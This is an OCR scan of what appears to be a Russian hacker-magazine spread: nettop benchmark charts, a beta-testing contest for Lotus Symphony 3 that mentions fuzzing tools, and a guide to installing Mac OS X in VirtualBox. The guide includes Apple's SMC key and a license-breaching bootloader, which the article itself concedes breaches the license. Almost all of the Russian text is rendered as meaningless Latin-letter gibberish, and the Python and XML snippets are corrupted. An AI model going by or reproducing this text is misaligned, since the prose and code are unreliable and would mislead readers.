» 021



SUPERPIMOD 1.51M

ZOTAC MAG 92.589
ViewSonic VOT120 107.342
ASRock ION 330-BD 92.563
ASUS EeeBOX 1012 92.761
ACER Aspire R3600

30 Qoo ION-B23W7P
0 20 40 60 80 100 120

HeTtTton ViewSonic cHoBa oTiMumuncs He ny4ywnm o6pasom

PCMARK'05

Z0TAC MAG

ViewSonic VOT120

ASRock ION 330-BD 2760
ASUS EeeBOX 1012

ACER Aspire R3600 2574

2104
500 1000 1500 2000 2500 3000

marks

Komanpa A: HeTTonbl ot ASUS, Acer u ASRock B nupepax

30 Qoo ION-B23W7P ;

FARCRY 2

ZOTAC MAG
ViewSonic VOT120
ASRock ION 330-BD
ASUS EeeB0X 1012
ACER Aspire R3600
30 Qoo ION-BZ3W7P0

fps

CoBpeMeHHbIe Urpbl HETTOMbI, KOHEYHO, HE TAHYT — B Jly4LUEM
cJlyyae MOXKHO paccYMTbiBaThb Ha 10 fps

JDMARK

ZOTAC MAG
ViewSonic VOT120
ASRock ION 330-BD
ASUS EeeBO0X 1012
ACER Aspire R3600
30 Qoo ION-B23W7P

= JDMark 06

0 500 1000 1500 2000 2500 3000 3500 4000 4500
marks

= 3DMark 03

Jiugepbl cOXpaHMAM CBOM NO3ULUM, @ BOT Ha YCTPOMCTBE
ViewSonic TecT He nowen

GEEKBENCH 2.1

ZOTAC MAG
ViewSonic VOT120
ASRock ION 330-BD
ASUS EeeB0X 1012
ACER Aspire R3600
30 Qoo ION-B23W7P

0 200 400 600

marks

1544

1181

800 1000 1200 1400 1600 1800

B 3TOM TecTe CHoBa niMaupyeT KoMaHaa A. AyTcaiifepbl TPaAULMOHHO Te e

BbIBOAbI

Harpagy «Bbibop pefakunun» cerogHsa 3anonydyaetr ASRock ION 330-
BD, koTopbit 06nagaeT He TOIbKO BbICOKOW MPOM3BOANTENBHOCTbIO,

» 022

HO M onTUYyecknmM npuBogoM Blu-Ray. «Jlyywen nokynkon» cTtaHo-
Butca ASUS EeeBox PC EB1012, koTopblii HeJ0poro CTOUT, focTa-
TOYHO WycTpo paboTaeT v KOMMNAEKTYETCA NYAbTOM AUCTAHLMOHHOMO
ynpasaeHus .ac
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© lotus.xakep.ru

X-testing contest

© XKypHan Xakep npeacTaBnseT KOHKYPC No noucky 6aros B 6eTa-Bepcuut
IBM Lotus Symphony 3. [Nokaxxu ce6s B aene — u Bbiurpai noesaky 8 CLUA
Ha KoHgpepeHuuto Lotusphere ¢ 17 no 21 aueapa 2011 ropa!

DVD
Ha Hawem aucke Tebst XaeT
6eta-sepcus Lotus Symphony 3
L1591 eXXEeAHEBHOr0 1CMOoJb30Ba-
HIS N y4acTnS B KOHKYpCe

Bce, 4TO HY>XXHO 419 y4acTusl B KOHKYpCE — YCTaHOBUTb
Lotus Symphony Beta 3 n 3aperncrpupoBaTtbca Ha cante
lotus.xakep.ru. [lanbLue Bce 3aBUCUT OT TebS: 4Yem OosbLLe
N UHTEPECHEN OLLUNOKK Thl HAWOELLb, TEM OOJbLLE Y TEDOSA
LLIAHCbI BbIUrpaTb KPyTble npu3bi!




.||Ii

b 6eTa-TecTepom
Lotus Symphony

9 BopoBaTtb cOpT — NNOX0. Ho 1 nokynatb NOSIHOLEHHbIE
NLEH3UM C 3aLLKanMBaloLLMMK LEeHHUKaMy MHOrMM 6aHanbHO He
nop cuny. EQMHCTBEHHOM BO3MOXHOCTBIO U36exaTb 3aTpart 1 He
noTepsATb Npy 3TOM B (PYHKLMOHANBHOCTM CTaHOBATCA freeware n
opensource NpUIIoXeHus, B TOM Yncre OUCHbIV NakeT OT Komna-
HuM IBM — Lotus Symphony. Pa3sutue Takux nporpamm Hanpsimyto
3aBMCUT OT aKTMBHOIO y4acTusi KOMbloHUTU. Celyac y Tebs ecTb He
TONMbKO BO3MOXHOCTb MOMOSIb30BaThCA YAOOHBIM NMPUIOXKEHNEM, HO 1

BHecK cBOW BKnan

Jlio6oW nporpamMmmHbI NPOAYKT HyXAaeTcs B
Ccepbe3HoOM 6eTa-TeCcTuHre. HekoTopble KoM-
naHUM NpeanoYnTaoT 06XOAUTLCA UCKITHOHM-
TeNIbHO COOCTBEHHbIMU cunamu. fipyrue, n
3TO B OCHOBHOM pa3paboTynku 6ecnnaTHoro
1 oTKpbITOro MO, aKTUBHO NpuBREKaloT
6eTa-TecTepoB U3 KOMMbIOHUTY. ELLe 6bi:
Oaxe camblii 60NbLIOM OTAEN TeCTEPOB He
MOXEeT CPaBHUTLCA C TON apmuelt Nonb30-
BaTeneun, Kotopble 6yayT UCMbITbIBATH NPO-
JYKT B caMbIX pasHbIx cuTyaumsx. Mo aton
NpuYMHe K HaMm obpaTunuck pebsaTta us IBM,
KOTOpblE O4€Hb NPOCUIN, HYTOObI UIMEHHO Thbl,
Hall yuTaTenb, NonpoboBan HanTu 6aru u

oLnbku B 6eTa-Bepcum Lotus Symphony.
Ha Bonpoc: «A He ucnyraeTecb 1 NPOCUTbL
nowaabl He 6ygeTe?», — Mbl NONy4UNn
TBEpOoe «HeT». Pa3se X He xopoLuni
NnoBof, yTePeTb OMbITHBIM NPOrpamMmmUcTamM
13 camoui IBM Hoc, npoaeMoHCcTprpoBas
napy 6aros? Tem 6onee, Ha KOHy noesfka
B LLTatkl, ny Teb65 eCTb peasbHbli LLaHC
no6epuTb. Kopoye rosopsi, camoe Bpems
MOKOBBIPATb MPOrpamMmy ¢ nonb3on gena. A
4TOObI Ny4LLUe Nony4anochb, Mbl NOAENNUMCS
C TO6OW Napow CEKPETOB O TOM, Kak fy4Lue
BCero vckatb owmoku B MO.
KoHe4Ho, ecnv NpoAyKT CbIpoW, TO pasnuy-
Hble 6aru 6yayT Bblne3artb
B CaMbIX

icTopns odpnCHbIX

NPOAYKTOB

1982: 1983:

otus

1984:

198X:

peasbHbIV LWaHC CAenaTtb ero ny4lle, OTbICKaB OLUMOKM 1 NONy4mB
3a 9TO OT/IMYHbLIV NPU3.

Ecnu Beputb crtatuctuke: 80% nonb3osBartenien UCrnosbayoT

He 6onee 20% dyHkumoHana naketa Microsoft Office. MNpu aTom,

YTO BMOJIHE MOHATHO, CTOMMOCTb JIMLIEH3MWN Ha NaKeT MeHbLLe

He ctaHoBuTcs. Komnanusa IBM, o6nagas wratom B 400 ThiC. cOTpya-
HVKOB BO BCEM MUpe, BHUMAaTENbHO npoaHanuamposana aTm undpsbi.
Tak nosiBunacek Lotus Symphony.

pasHbIX MecTax, faxe ecnu He npunarartb
K 9TOMY HUKakux ycunuii. MNMopcrasun roe-
HMOYAb XMTPOEe 3Ha4YeHne — nporpamma
BblfieTena, BOoT Tebe 1 npomMax pa3padoT-
4mkoB. Lotus Symphony — He 13 Takux,
no3Tomy A/ MoncKa oLM6OK NpuaeTcs
nocrapartbcs. ECTeCTBEHHO, BPYy4HYIO TeCcTu-
poBaTb TO, KaK NpunoxeHne obpabdaTbiBaeTt
Te VNN MHble CUTyaLmn 1 BXOAALUME OaHHbIe
— 3apjada HebnarogapHas. Ee nerko MoxHo
aBToOMaTU3npoBaThb.
MepBbIn NyTb — UcKatb 6arn ¢ NOMOLLIbIO
Tak HasbiBaeMoro asauHra. ATo cambii
npoCTOl cnoco6 nomncka owmooK. Cmbicn
B TOM, 4TOObl Nepefasath B Pa3nnyHbIX
MecTax NporpamMmMbl HAMEPEHHO HEKOPPEKT-
Hble 3Ha4eHns (OYeHb AIMHHbIE CTPOKMW, che-
umanbHble CUMBOSbI U T.M.) U aHanu3u-
poBartb TO, Kak nporpamma Ha
3TO pearupyer.

1995:

Mctopua Symphony
Ha4nHaeTca

B [a/IeKOM MPOLLISIOM,
korga komnanus Lotus
Development Corporation
noA pyKkoBOACTBOM
Mwutya Kanopa n
xoHaTaHa Cakca Bblry-
cTvna CBOIO MepBYIo
nporpammy ans paéotbl
C 3MEKTPOHHbIMN Tabnu-
Lamu.

Yepes rog kopnopauus
aHOHcYpoBana peLueHve
Lotus 1-2-3, B KOTOpOM
paboTa ¢ Tabnuuen n rpa-
vkamu Briepeble 6bia
o6beanHeHa B PyHKLIMO-
Hane 0fHOro peLUeHus.
MimeHHo Torga nosiBunach
BEPXHAS NaHenb Ans
yNpaBieHNs TEKCTOM,
KoTopas cenyac ectb B
N060M 0OUCHOM NaKkeTe.

MepBas Bepcus Lotus
Symphony Bknto4ana
oyHKLMOHanN ansa padoTsl
C rpadvkon, Tabnmuamm
1 TEKCTOM B OJHOM UHTe-
rpPUPOBaHHOM MaKeTe.
Ona ctouna $695 n
3aHumana 12 cononnu-
OUNCKOB eMKOCTLHO 360
K6.

80-e 6bI1 BpeMeHeM
nepBbIX Y CambIX CMeSbIX
pa3paboToK nNporpamMm
Onsa paboTbl C AOKYMEH-
Tamu 1 Tabnuuamn. Lotus
Development Corporation
6bina 0OHMM 13 CaMbIX
aKTVBHbIX Y4aCTHWUKOB Mpo-
Lecca. KomnaHus nocro-
SIHHO BbINycKasa HoBble
BEpCUM NporpamMmbl s
onepauvoHHbIX NIaTthopm
Pa3HbIX BEHO0POB.

Kopropauwusi IBM noky-
naet Lotus Development
Corporation 3a kpy-

rnyto cymmy — $3,5
mMnpg. B aTom xe rogy
nosABNAETCA NPOAYKT
Lotus SmartSuite 3.1,
06beAUHMBLLNIA B NUHTE-
rPUPOBAHHOW MaHenn
Tabnuuy, DOKYMEHT 1
npeseHTauuto. B Tevenne
cneyoLwmx NeT BbIXoaaT
pasnunyHble ero BEPCUN.



Lotus. Symphony. Beta 3

[Tone3Hble aan0oHb|

OfHa 13 NPUKOIbHBIX (PULLIEK
Lotus Symphony — 370 nog-

2 Ftp Server plug-in
Ho6aenset B Symphony BCTpoeHHbIi FTP-knueHT, no3sonstoLuii 6b6ICTpo
KOHHeKTUTbCS K FTP-cepBepy 1 pabotats ¢ dharnnamu (B Tom yncne HTML)

KINK4aemble MniaruHbl, ¢ Nomo-

LLIbKO KOTOPbIX MOXXHO J1E€rko

[00aBUTb B NPUOXEHNE HOBbIN
pyHKLMOHan. J1tobble aaaoHbl
MOXXHO CKa4aTb 1 YCTAHOBUTb
NpAMO 13 camoin NporpaMmbl.
HekoTopble U3 HUX — HACTONA-

wuin «Must have!»

Ecnun paspaboTtunk He noszaboTuncs o npa-
BUNbHOM 06paboTKe Takux CUTyaLuii, Nerko
BbIfiBNsfeTcs 6ar. [1nsa Havana MoXHo BOC-
nosib30BaThbCs CNeAyLLMMN MHCTPYMEHTaMm
Onsa gannosoro yasanHra 1 NoCMOTPETb, Kak
Lotus Symphony o6pa6atbiBaeT HEKOPPEKT-
Hble, CNOpYeHHble harinbl oKymeHToB. C
nomoLubto ytunutel Minifuzz nerko peanusy-
eTcs rnynbin a3suHr. NocnegHee o3Ha4vaerT,
YTO TyNn3a He 3HaeT, YTO UMEHHO OHa AenaeT
C (haninom, a NPOCTO MEHAET HEKOTOPbIE
[JaHHble BHYTPY W OTKPbIBAET €ro B uccne-
ayemow nporpamme. Ecnm yeTko onucatb
chopmMat 1 N3MEHSITb 3HAYEHUSI BHYTPY 3TOrO
hopmata co 3HaHveM faena (Hanpumep,
TOSIbKO MOJSIA, KOTOpble OTBEYatoT 3a pasmMep
6110KOB UNN CMeLLeHNs), TO Da33UHI MOXHO
NpoBOAWTL HAMHOro 6011ee apheKTUBHO.
OTnnyHoM nNnatdgopmon ana peanu-

Ha ygasieHHOM XOcCTe.

2 Lotus Symphony ChartShare

ALOoH, NpefocTaBNAoLLMN BOSMOXHOCTbL ObICTPO pacluapuTb Npe3eHTaLmo
apyrum nogam. [na npocMmoTpa 4enoBeky notpedyercs nullb 6paysep, B

KOTOPOM OH OTKPOET npucnaHHbii To6om URL.

2 IBM Lotus Symphony Diff plug-in
[NonesHbI nnaruH ond y,El,06HOFO CpaBHeHUsa OByX OOKYMEHTOB, BblAaensto-
LLI,VII7I M3MEeHEeHNA pa3HbiIMK LiBETaMK B O4YEeHb HarnagHoOM Buae.

2 Database Connection Plug-in

OyeHb NPUKOSBbHBIV aaaoH, MO3BONSIOLLMI peanu3oBaTb peanTanMoByto

CUHXPOHM3aLMIO JaHHbIX MEXIY 3NeKTPOHHON Tabnuueli B Lotus Symphony
1 Tabnuuer B yaaneHHon 6a3e AaHHbIx (Hanpumep, Sql Server'e).

3auum ymHoro dasauHra sensercs Peach
Fuzzer (peachfuzzer.com). Bropon nyte —
BOCNOJIb30BATbLCA yTUNUTaAMN U3 pa3pana
Capture-Playback, koTopbie 3anuceisatot
[EeVCTBUA TECTUPOBLLMKA BO BPEMS PYHHOrO
TecTMpoBaHus. Tbl MOXeLLb OAVH pa3 3anu-
caTb nocrenoBaTeNnlbHOCTb AEUCTBUN N NIErKo
BOCNpOon3BOAUTb ee BHOBb 1 BHOBb, MNoa-
CTaB/dAAa B HYXXHbIX MeCTax pas3/finyHble napa-
MeTpbl. Takum o6pa3om, Tyrnoe NoBTopeHne
OfHUX U TeX e OENCTBUIA MOXHO 3aMeHUTb
YMHbIM CKpUnTOM. [1na co3aaHns Takux
MakpocoB Tebe npurogatcsa ytunura Autolt,
No3BoSIAOLLAs NMUCaTh CaMble CIOXHbIE CLie-
Hapuu, a Takke MHCTpymeHT Sikuli
MocnegHwi aBns-

eTcA

OfHOWM N3 caMbIX MPOCTbIX MpPorpamMm Ans
CO3[aHNsi MakpoCOB, aBTOMaTU3MPYOLLMX
YTO YrogHO B CUCTEME C MOMOLLIbIO CKPUMTOB
Ha Jython un rpadmyeckon cpefpl Ans Bu3y-
anbHOro co3naHns MakpoCcoB.

KoHeuHo, BCce 3T cpefcTBa — NuLb OTrpas-
Has To4Ka, C KOTOPOW MOXHO HayaTb CBOE
MarneHbkoe 6eTa-TecTMpoBaHue. Boirpatb
KOHKYPC CMOXET TOT, KOMY yAacTcs YeTKO
onpegenutb MecTa, rae NoTeHumanbHO MoryT
6bITb OLLMOKMK, a TaKXe HaWTK Unu cosnaTb
CaMOMy WHCTPYMEHTbI, MO3BONSOLLME UX
BbIBUTb. VIHTepecHasn 3afayka, Jaxe OYeHb.

T 199X: 2007:

2008: 2010: 2011:

BonbLunm warom Bnepeg,

CTaln BbIXo4 pacLuMpeHHero

0o 5 nporpamm naketa
Lotus SmartSuite. OgHako
BO BpeMs nepexopa Ha
32-6UTHYI0 apXUTEKTYpy
Lotus SmartSuite He ycne-
BaeT BOBPEMS MOOEPHU3M-
poBaTb CBOM MPOrpammbl

1 B UTOre TEPSIET CBOIO
DOJ0 Ha pbIHKE. JTO 6bIN
cepbesHbin fail gns Lotus n
waHc ans Microsoft Office.

HoBas nctopus Lotus
Symphony Havanachk Tpu
roga Hasaf, korga Ha
rnaBHowv cTpaHuue IBM
NosIBUNCS NepBbI penu3
6ecnnaTHoro 0gMCHOro
naketa ans pabotbl ¢
OOKyMeHTamu, Tabnuua-
MW 1 Npe3eHTauusMu.
ToT xe dyHKUmoHarn,
410 1 Microsoft Office,
HO 6ecnnaTtHo!

B nnaHax IBM — nepe-
BECTW BCEX COTPYAHUKOB
Ha MCnonb3oBaHue
Lotus Symphony. Bbiuna
06HOBIEHHasA Bepcus
Lotus Symphony ¢ 60
HOBbIMW UHCTPYMEHTaMW.
Peluenve nogpnepxvisaet
BCE OCHOBHblE chopmarTbl
[OKYMEHTOB, 3JIEKTPOH-
HbIX Ta6nUL, N NPe3eH-
Tauun.

HoBas Bepcus nog
HasBaHuem Vienna
HeceT B cebe 60sbLUIoe
KOJNIMYECTBO HOBOBBE-
NEHWIA, B TOM 4ucne
NoAAepPXKKY HEKOTOPbIX
MaKpOCOB, KOTOpbIE He

6bln OOCTYMHbI paHee.

Bbixognt 60onbLuoe
KOJIMYECTBO AOMOJSHU-
TeNbHbIX NarMHOB M
rOTOBbLIX MaKpOCOB.

HoBas Bepcus
Symphony (Amsterdam)
[OMKHA BbINTU B

2011 r. B 6nwxariume
HECKOJIbKO MecsLEeB

y Te6s1 eCTb BO3MOX-
HOCTb caenatb Tak,
4TOObI OHa cTana ee
6onee ygobHou u
PYHKLMOHAITbHOMN.

W peanbHbIi waHc
nosy4nThL B 6arogap-
HOCTb noe3ay B LLtaTbl.



M W Crena «Step» Minbun twitter.com/stepah

VIRTUALBOX =
JIObOBb

JanycKaeM MaKoCb N0 BUPTYalbHOK
MaLUUHOH

EanHcTBeHHO BepHbIi cnoco6 nouyecToBaTh npenectb Mac 0S X — KynuTb KoMnbio-
Tep unu HoyToyK Mac. Ypo6Ho, 6bicTpo, cTabunbHo 1 6e3 reMoppos — 4eN0BeYECKHH
NOAX0A B NyuWHX Tpaanuuax Mac. Henas nosHatb Heno3HaBaemoe, a UMEHHO —
Mac 0S X Ha 06b14HoM PC, 3HTY3HaCTbl aKTUBHO AONHAKUBAIOT pa3iH4Hble BUAbI Xa-
KMHTOLIA, PYralTcs CI0BaMU «KeKCT» U 60ATCA anfenToB cUcTeMbl. Ewe cnoxHee
6b110 3aCTaBUTL MAaKOCh paboTaTh N0 BUPTYaNbHOW MALLMHOM, HO 3TO TOJIbKO /40
CeroAHALIHEro AHA.

JKCNEPUMEHTAJIbHAA "UIUJ,EP)‘KKA TUK, YTO CMOTY XOTs Bbl 3aNyCTUTL HY>XHbIR COPT, He BbI0 HUKAKOro

Bce Havanock ¢ TOro, 4To % pewwnn nonpoboBaTh HanucaTb NPUNOXe- xenanus. OnbiT NofACcKasbiBa, YTO HUYEro XOPOLIEero He BbIMAET U C
Hue ans iPhone/iPad v TyT e BCTPAN 13-3a LOCAAHOM0 OrpaHNYEHNS. BMPTyasnbHbIMW MallMHaMu. Hu ofjHO pelleHune Ans BUPTyanu3auuu,
Oka3zanocb, SDK paspaboTynka 1 Bce conyTcTBYyOLME MHCTPYMEHTHI Bynb oHo oT Microsoft, Parallels, VMware nan Sun, 6e3 wamMaHcTBa
LOCTYMHbI Tonbko ang nnatdopmel Mac 0S X. Mo npasge rosops, Mac (BaxkHbI MOMeHT!] He no3BonsieT 3anycTuTb Mac 0S B kadyecTse rocre-
A cobupatock KynuTb y>ke A0BONbHO faBHO, ocobeHHo nocne myuntens-  Boit OC! BepHee rosops, He nossonsno. M3yyasa changelog nporpammbl
HbIX TaHLLeB C XakMHTOLIOM, HO, YBbl, 3aBeTHbI Macbook Pro 157 VirtualBox'a [tenepb yxe pacnpoctpaHseMoe nog arugoil koMnaqum)
Kak bblfl, Tak ¥ 0CTaeTCs MLLIb NMYHKTOM B CMIMCKE «X04y KYMUTb». Oracle, koTopyto B nocriefjHee BpeMs 1CMo/b3yto B Ka4eCTBE OCHOBHOIO
Konposatb cHoBa ¢ yctaHoBkol Mac OS Ha csoit PC, He nMes rapaH- cpefcTBa BUPTyanu3aunm, HaTKHYICA Ha OYeHb MHTEPECHYIO CTPOYKY:
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| = ET™%

® X11 fporpammu [paeka Okwo Cnpaska

test_parseer.py
import xml.porsers.expat

& 3 handler functions
3| def stort_element(nome, attrs):
print 'Start element:', name, attrs
3| def end_element(rnome):
print 'End element:’, nome
3 def char_data(data):
print 'Character data:’, repr{data)

p = xml.parsers.expat.ParserCreate()

] p.StartElementHondler = stort_element
p.EndElementHandler = end_element
p-CharacterDataHandler = char_data

p.Parse(” " “<?aml version="1.0"T»

«parent Ld="top“><childl name="poul">Text goes here</childl>
<childZ nomes"fred >More text</childis

</parent>""", 1)

Line: 20 Column: 17 5 Python + ¥ Tab Size: 4 & char_dataidatal H

[l f:k = &y ( . 28 > M £

Mac 0S X, 3anyweHHas nopg, VirtualBox

«Experimental support for Mac 0S X Server guests». Onuus BnepBble
nosBunace B Bepcun 3.2.0 n fnanee yacto ynommHaetcq. [Monyyaetcy,

B kayecTse rocteBoi 0S Tenepb MOXHO yCTaHOBUTL Makocb? Cnoso
«server» cHavana cbuno c TosKky, Ho BbICTPO BLIACHWIOCH, YTO 3TO eCTb
He 4To MHOe, KaK JMLEeH3NoHHoe orpaHnyeHne Mac OS X. [leno B Tom,
4TO NNLEH3MS fonyckaeT yctaHoBKy OC ToNbKo Ha KOMMbIOTEPBl U HOYT-
Bykn Mac. Bce octanbHoe, Bk1toYaa XakMHTOLWM M Npoyne n3Bpatle-
HWS, Mo BonbLIOMY CUYeTy 3anpelleHbl — BMOJIHE JIOTUYHbIN War co CTo-
poHbl KoMnaHuu Apple. A BoT orpaHuyeHne BHyTpu camoit VirtualBox,
Kak 0Ka3anocb, NCKYCCTBEHHOE. BbiCTpo HaLWNOCh HEMano OT3bIBOB 0O
ToM, yTo nog VirtualBox'om oTanyHo ycTaHaBAMBaeTcs nocnefHsAs Bep-
crsa Mac 0S X, To ecTb Snow Leopard (Takoe BOT KOg0BOE MMA penn3al.
TyT Hago UMeTb B BMAY, YTO NofobHbIA OMbIT HaNpsaMyto HapyllaeTt
SINLEH3MIO CUCTEMbI, MO3TOMY MOXET PaccMaTpMBaTLCS UCKIIOYUTENb-
HO B 0bpa3oBaTeNbHbIX Lensx.

CO3JAHUE BUPTYANIbHOH MALLIWHbI

[naBHoe TpeboBaHue Ans yctaHoBkn Mac 0S X — noggepxkka npo-
teccopoM cneumndukaunm VT-x. Intel Virtualization Technology for
x86 nopfepXKnBaeTcs NpakTU4YecKu BCEMU COBPEMEHHbBIMU MPOLLeCCo-
pamu Intel, Bknoyas Gonbwurctso Core 2 Duo/Quad v MoaHbIx i3/i5/
i7. Mbl npoBofunu akcnepumeHT Ha Core 2 Duo E8500 n Windows 7
B KauecTBe 0CHOBHOI cucTeMbl. Bo MHOMMX ciydasx cuctema JoskHa
3aBecTUCh W Ha npoueccope oT AMD, HO TonbKO NpW yCcnoBWK, YTO
TOT UMeeT NoAAEePXKY TexHonornv suptyannsaumm AMV-V. [anee
noTpebyetca opuumansHblii aruck ¢ Mac 0S X nawv ero obpas [y Hac
buina Bepcus 10.6.3), koHeUHO Xe, NeranbHoO KynieHHsii (31o Tebe

He Windows!). Ecnwv obpas crpabnen nog Mac 0S u umeet pas-
peweHne .dmg, To NpMBeCTW ero B NpuBblYHbIN ISO-BKA NnoMoxeT
ytunuta dmg2img (vultureu.org/tools): dmg2img source_file.
dmg destination_file.iso. [lanee HeobxonnMo co3fath «npa-
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BUJIbHYIO» BUPTYallbHYO MalUWHy, Ha KoTopyio 1 byfeT ycTaHoBNeHa
cuctema. CobcTBEHHO, Ha4aTb HYXHO C TOrO, 4TO yKka3aTb TUM roCTeBON
cucteMbl — «Mac 0S X Server». Yto npuaTHo, Takoi Tvn BeibupaeTca
aBTOMaTUYECKM — CTOUT TONbKO B Ha3BaHUMW BUPTyanku UCMONb30BaThb
cnoBa «mac» unu, ckaxem, «leopard». KpaiiHe xenaTenbHo Bbife-
NNTb BUPTyanbHOM MawnHe MuHuMym 1024 M6 onepaTuBku 1 co3gaTb
BUPTYasbHbIN XecTkuii anck Ha 20 T6 (BnosiHe MOXHO MCMONb30BaThb
onuwmio «Dynamically expanding storage»). Mocne cospanns BupTyan-
KV He NULWHWUM bByfeT oTKpPbITb €e CBOMCTBA W, BO-MEPBbIX, OTKIYNTD
amynsuuio floppy-aucka, a BO-BTOPbIX, yCTaHOBUTH KONMYECTBO BULEO0-
namaTu, pasHoe 128 M6. B kayecTBe IDE-koHTponnepa ponxeH bbb
BbicTaBneH Tun ICHé, Ho aTo paboTtaeT 1 No yMonyaHuio.

MHdopMaumsa o cucteMe, T.e. BUPTYasibHOW MalUMHe
ann Mac

28.06.10 1247
AnnaparWse cpeacTa:

Hassamme uogenn Ma¢
HagnTuRaTon MoAERI:
Cxopacts Apoueccopa:
KoNwiectao ApOUSEEopon:
OBuite KOAWOECTIO SREp: 1
Namsty: 1rs
HacTora umiu. 100 Mrig
Bepena Boot ROM: VirtualBox
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B teopardami
chml version="1.0"1» -

[Fl<VirtualBox xmlnz="http://wew.innotek.de/VirtualBox-settings” version="1.10-windows™> =]
<Machine uuide®(09e0b5TE-3I668-4492-92d2-T1a5(b21cI11}" name="lecpard"” '
|j O5Types"HacOS™ lastStatelhan *2010-06-22T23:13:452">

B <Extralaca>
<Extralataltem s
Tte
<Extralazalte;
<Extzalatalten &

“GUL/LastCloseAction” values"powerOrf"/>
. lue="1440, 500" />
=" GUL/LastWindowPostion® e="102, 48,1440, 943" />
=" G0/ MiniToolBarAlignment® valus="bottom®/>
"L/ values"yes"/>
ToolBar" valus="yes"/>
- 12/Ef. values® "/»
="VBoxInternal2/EfiGopiode” value="{"/>
SmcDeviceRey"
steal (c) Appl >

<ExtraDacalte
Item o

nternal

valus="
1€ I </ExtralDate>

i <Hardware veraicne"2"> =

BHocuM BaxkHble napaMeTpbl B XML-koHcur
BUPTYaNku

[anee ectb aBa nyTy. lepBbiit U caMblil NpaBUIbHBIN — 060UTHCH
cunamu ofHow Tonbko VirtualBox. Ing atoro Heobxofumo 3akpbiTh
nporpammy (kpaiiHe BaxHo, MHAYe HUYEro He noaydutcall u HanTu
XML-koHUr Tonbko YTo co3paHHon BupTyanku. B XP oH HaxoguTcs
3pecb: C:\Documents and Settings\<username>\.VirtualBox\
Machines\<name of the VM>\<name of the VM>.xml, B Vista/
Windows 7 C:\Users\<username>\ .VirtualBox\Machines\<name
of the VM>\<name of the VM>.xml. [Tog Linux'om nuwm XML
BHYTPU /home. B aToM daiine ecTb HeCKONIbKO CTPOK, OMUCHIBAIOLMX Tak
HasbiBaeMble ExtraDataltem. Haligu 310 MecTo novckom B nobom TekcTo-
BOM pejakTope v fobaBb elle iBe CTPOYKMK:

<ExtraDataltem name="VBoxInternal2/EfiBootArgs"
value=" "/>

<ExtraDataltem name="VBoxInternal2/SmcDeviceKey"
value="ourhardworkbythesewordsguardedpleasedontsteal

(c)AppleComputerInc"/>

[Mocne 3Toro MOXHO COXpaHUTb KOHWMT 1 3aHoBO 3anyckaTsb VirtualBox.
MocneaHunin wWTpnx — BbibpaTb B kavecTBe cdrome obpas ¢ Mac 0S X

1 cTapToBaTh BUPTYanbHyo MawwuHy. B 90% cnyyaes 3anyctutcs rpa-
buyeckunit MHCTaNASTop, U MOXHO byleT CNOKOMHO YCTaHOBWTb OCb.
OTkypa bepytcs a1 10% Heypay, ckasaTb cnoxHo. OfHako ecnun Bapyr
BO BpeMs 3arpy3ku BbinnbiBaeT Kakas-Hubyab kernel-owwnbka, nan
MHoroobellatoLle NOSBUTCSA CEPbIN 3KPaH C KYpCOPOM, HO Ha 3TOM Bce

¥ 0CTaHaBAMBAETCH, MOXHO nonpoboBaTh Apyroit NyTb. B aToMm ciyuae
yXe He Haflo HUKaK LaMaHUTb ¢ KoHdUrom supTyanku (ecnm goba-

Bun Tyaa ExtraDataltem'sl, To vx Hago yaanute). Miaes B ToM, uTobbl
MCMNOb30BaTh anbTepHaTUBHbIA 3arpy3unk — Empire EFI (prasys.co.cc/
tag/empire-efi). LLtyka pacnpocTtpansetca B suae ISO-danna (Hanpn-
mep, empireEFIv1085.is0), KoTopyio Halo MPUMOHTMPOBaTL K BUpPTyaske
¥ 0TAATb KOMaHAy Ha cTapT. Bo Bpems 3arpy3ku NoSBUTCS yKe TEMHbIN
nHtepderic Empire EFI — B 3T0T MOMEHT Haf0 EMOHTMPOBATbL TeKyL WA
0bpas anbTepHaTMBHOrO 3arpy3yunka u nogknounts ISO'wky co Snow
Leopard. O6HoBnseM nHdopMmauuio o aucke (<F5>), xmem <Enter> —
Byans, ondaTh Xe nosyyaem okHoO ycTaHoslymka Mac 0S X.

YCTAHOBKA W HACTPOHKA

TeM unu nHbIM cnocoboM nossnsaeTcs rpabudeckuii nHTepdelic ycta-
HOBLLMKa CHUCTEMbI, KOTOPbIV MPUBETANBO NpeasiaraeT BbiOpaTh A3bIK
ons yctaHosku. [lanee, cnpocwms, kyaa Heobxonnmo yctaHouts OC, oH
noYeMy-To He MPEeANoXUT HUKakux BapuaHToB. Bce notomy, uTo ewe
He pasMedeH XeCTKui anck (BupTyanbHbil). Onga Toro, uTobbl cozpats
CTPYKTYpbl U 0TGOPMATUPOBATL pPa3fesbl, 3anyckaeM LUCKOBY yTn-
JINTY U3 pasfiena «YTUAnTbI» BepXHero MeHto. TyT Boibnpaem Bkianky
«CTepeTb», MOTOM XMeM KHOMKY «CTepeTb», W yTUAWNTa caMa BCe ce-
naeT 3a Hac. Tenepb yKa3biBaeM yCTaHOBLLWKY pa3MeyeHHbIn pasgen
— ¥ HaunHaeTcs npouenypsl yctaHosku. Reboot.

MonHocTbio paboyas cucTeMa ¢ JOCTOMHbBIM paspeLleHnem, NoanepKKow
KIaBMaTypbl/MbllWK, @ TakxXe CeTeBOro afantepa — BOT, uTo Tebs XaeT
cpasy nocne nepesarpysku komnbloTepa. EanHcTBEHHOE — NpupeTcs
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MpoiTK Npoueaypy naeHTUdMKauun knasmatypsl (Mactep notpebyert
HaXaTb Ha KnasuwWwu paaoM ¢ <shift>"amul, a Takxe cosgats yueTHyio
3anuchb Nonb3osaTens. TyT Hafo MOMHWTb, YTO packnafka KnasuaTypbl
nepeksioyaeTcsa kombuHauve <winkey>+<npoben>. OT Bcex npoueayp
perncTpaumm u cosfaHus yuetkn B cepsuce MobileMe MoxHo cMmeso
0TKa3aTbCs, Kak 1 OT NpoLieflypbl NepeHoca JaHHbIX C APYroro KOMMbo-
Tepa Mac (Beab kak 3abotnuso, al?). Janee, korga co BCeMy 3TUMK
BOMPOCaMU OT HAC OTCTaHYT, MOXHO, HaKoHeLll, MoLLynaTb caMy CUCTEMY.
LLlenkaem no okolikam, 3anyckaeM pasavyHble NporpaMmsbl, npobyem
OTKpbITb CTpaHuUbl B bpaysepe Safari. TyT xe ckaunsaem Textmate,
nereHfapHbIi TekcToBbIN pefaktop ana Mac 0S X, B BUAe HeNpuBbIYHO-
ro dmg-daiina (bopmat guctpubytusos 8 Mac 0S X) u ycraHasneaem
— ONATb Xe, BCe 0TNM4YHO paboTaeT. KoHeYHO, coBCEM He Tak LIyCTpo,
